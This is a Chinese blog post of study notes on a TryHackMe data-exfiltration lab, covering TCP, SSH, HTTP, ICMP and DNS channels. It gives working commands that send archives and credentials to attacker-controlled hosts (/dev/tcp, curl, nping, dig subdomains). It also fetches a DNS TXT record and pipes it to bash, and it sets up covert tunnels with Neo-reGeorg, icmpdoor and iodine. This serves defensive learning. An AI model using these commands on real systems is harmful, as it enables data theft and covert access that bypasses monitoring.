房间的网络拓扑
Data Exfiltration
数据外泄有三种主要是使用案例:
传统数据外泄
数据单向移动,都从网络内部传输到外部,攻击者不关注服务器的回应,大多数为传统协议
C2
通信通信包括发送命令与接受结果,为躲避检测常使用非标准协议或加密通道
隧道通信
建立隧道来持续访问整个内网资源,保持长时间连接
TCP
套接字仅在没有安全措施的网络环境下进行,因为非标准协议很容易被检测到
使用
nc
的反弹shell
就是这种接下来没图,因为
jumpbox
太卡了输不了命令1
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/ip/port
把
task4
目录压缩为.tar.gz
文件并输出到标准输出 (-
),并将压缩数据做base64
,再用dd
工具将base64
转码为EBCDIC
编码,并将编码数据发送到指定地点对于收到的数据,使用
dd
来解码,再用tar
解压即可1
dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
ssh
建立了加密通信通道
1
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
双引号注明的命令是在
ssh
连接后生效,即切换到/tmp
并解压缩http
使用
HTTP
是很好的选择,即防守方难以区分非法与恶意的http
流量。注意要使用POST
而非GET
,后者的所有参数会被记录到日志中,而前者请求不会被缓存,不会保留在浏览器历史记录中,不会被添加为书签,对数据长度没有限制由图,带有文件参数的
GET
请求会包含泄露的数据,而POST
并不会在现实场景中,往往将数据发送到恶意服务器上,再登录该服务器以拿到数据
在本例中,以
web.thm.com
作为恶意服务器,设置contact.php
页面来处理数据,在跳板机上用curl
来发送数据其将数据压缩后存储到
/tmp
下在连接到
victim1
后用curl
来传输:1
curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
但对于收到的数据,发现
base64
损坏,原因是http
传输时的url
编码把+
替换为空格可以使用
sed
来修复:1
sed -i 's/ /+/g' /tmp/http.bs64
-i
原地编辑文件,s
替换,/ /
即匹配空格,/+/
即替换为加号,g
为全局匹配https
避免数据明文传输的情况,也可以使用
http
隧道技术封装其他协议并来回发送数据将上传一个
http
隧道代理文件到受害服务器uploader.thm.com
,连接完成时可以尝试与app.thm.com
通信使用
Neo-reGeorg
1
python3 neoreg.py generate -k thm
生成一个加密的客户端文件,并在
http://MACHINE_IP/uploader
来上传连接:
1
python3 neoreg.py -k thm -u http://MACHINE_IP/uploader/files/tunnel.php
随后可以使用
curl
来访问app.thm.com
的内部ip
地址172.20.0.121:80
1
curl --socks5 127.0.0.1:1080 http://172.20.0.121:80
ICMP
internet
控制消息协议。用于处理错误报告的网络层协议网络设备可以使用
ICMP
来检测网络连通性,即ping
,但该协议并非是设备间用于发送数据的传输协议ICMP
数据报的结构包含了一个数据段Data section
,该部分包含字符串或者其他信息,如表示错误消息的IPv4
报头,如下:而值得注意的是,数据字段是可选的,即可以将我们的数据包含在该数据段中并通过
ICMP
发送到另一台在
linux
中,ping
可以使用-p
参数来指定数据报发送十六进制的16
字节数据1
ping MACHINE_IP -c 1 -p 74686d3a7472796861636b6d650a
但手动发送未免过于麻烦了,接下来使用
msf
来做:其会捕获传入的
ICMP
数据报并等待BOF
文件开始值,接收到后执行写入操作直至接收到EOF
文件结束值1
2
3
4msf5 > use auxiliary/server/icmp_exfil
msf5 auxiliary(server/icmp_exfil) > set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
runicmp
表示只过滤该协议,not src ATTACKBOX_IP
是过滤掉攻击机的ICMP
包,这样使数据隧道只接受需要的ICMP
回响包,过滤无关流量在
icmp-host
上面使用nping
工具:1
sudo nping --icmp -c 1 10.10.17.118 --data-string "BOFfile.txt"
使用
BOFfile.txt
来指定文件开始触发值,该文件名可以在msf
中更改1
2sudo nping --icmp -c 1 10.10.17.118 --data-string "admin-password"
sudo nping --icmp -c 1 10.10.17.118 --data-string "EOF"ICMP C2
接下来引入
ICMPDoor
工具来处理命令执行中的数据传输在受害者
icmp-host
上:1
icmpdoor -i eth0 -d [jump-box]
在攻击者
jump-box
上:1
icmp-cnc -i eth1 -d [icmp-host]
最后拿到加密传输的命令执行 `shell
DNS
配置配置好了所需的域名
tunnel.com
,以及网页需要为控制的域名设置一个名称服务器:
- 添加一条指向
Attackbox IP
的A
记录 添加一条
NS
记录,其把DNS
查询路由到上面的A
记录但这俩我设置显示未认证,只能用设置好的:
- 添加一条指向
DNS
数据渗出尽管
DNS
并非为了传输数据而设计的,但仍能通过该协议来移动数据正由于其并非传输协议,所以
DNS
协议的使用情况大概率不会被监控,而且几乎所有防火墙都会允许使用,所以用DNS
来隐藏通信更好但也存在限制:
- 全限定
FQDN
域名最大长度为255
字符 子域名长度最大为
63
字符所以只能使用有限数量的字符通过域名来传输数据,在传输大数据时会导致极多的
DNS
请求,而产生明显的流量记录攻击步骤
- 一个由攻击者注册的域名,如
tunnel.com
- 设置
tunnel.com
的NS
记录指向攻击者控制的服务器 - 将敏感数据传输到攻击者所控制的域名,如需要传输密码
password012
,就请求password012.tunnel.com
- 将这一
DNS
请求通过本地DNS
服务器发送至攻击者的恶意服务器 - 最后攻击者从
DNS
请求的域名中提取密码
一个典型使用场景是在防火墙阻止和过滤所有流量时,使用
DNS
来通过防火墙,此时最重要的时允许使用DNS
且能将域名解析为IP
- 一个由攻击者注册的域名,如
手动:
对敏感信息内容进行编码,并将结果作为子域名发送
attacker
1
2ssh thm@attacker.thm.com
sudo tcpdump -i eth0 udp port 53 -v使用
tcpdump
接受任何传入UDP/53
的数据报来接受DNS
请求victim2
1
2
3
4ssh thm@victim2.thm.com
cat task9/credit.txt
cat task9/credit.txt | base64
cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/'1
2
3
4
5
6
7
8
9
10
11cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/attacker.tunnel.com/ | awk '{print "dig +short " $1}' | bash
#1. awk '{******} 会对输入内容的每一行进行逐行处理
#- {******} 是处理动作
#- "dig +short " 打印字符串
#- 拼接当前行的第一个字段 $1,也就是域名
#- 这样awk的输出就是一系列dig命令
#2. | bash
#- 使用管道将awk的输出作为bash命令来执行
#3. 这样就实现了:
#- awk自动提取域名,构造dig命令
#- bash执行这些命令,实现域名解析再用
echo
解码1
echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d
- 全限定
基于
DNS
的C2
通信接下来将模拟用
DNS
协议执行bash
脚本,为此要为tunnel.com
添加新的DNS
记录随便找一个需要执行的
不恶意脚本:1
2#!/bin/bash
ping -c 1 test.thm.com首先将其转化为
base64
:IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=
随后将其作为
DNS
记录添加到域名解析中:使用这个来直接执行
1
2dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
# tr清理输出内容并删除内容中所有双引号,解码后传给/bin/bashDNS
隧道 -TCP over DNS
使用
DNS
数据渗出将其他协议(如http)封装在DNS
上,从而实现一个可以持续发送接受数据的通信通道目标是在
网络1:172.20.0.0/24
与网络2:192.168.0.0/24
之间建立通信引入一个工具
iodine
在攻击端
1
sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
该命令将创建一个新网络接口
dns0
10.1.1.1/24
表示新网络接口dns0
设置的网络IP
,att.tunnel.com
是预先设置好的名称服务器,其指向attacker.thm.com
机器在受害者端
1
sudo iodine -P thmpass att.tunnel.com
于此完成隧道建设,可以在攻击端:
1
ssh thm@10.1.1.2 -4 -f -N -D 1080
进行端口转发
THM学习日寄23-Data Exfiltration
- 本文链接: http://noone40404.github.io/2024/11/17/THM学习日寄23:Data Exfiltration/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!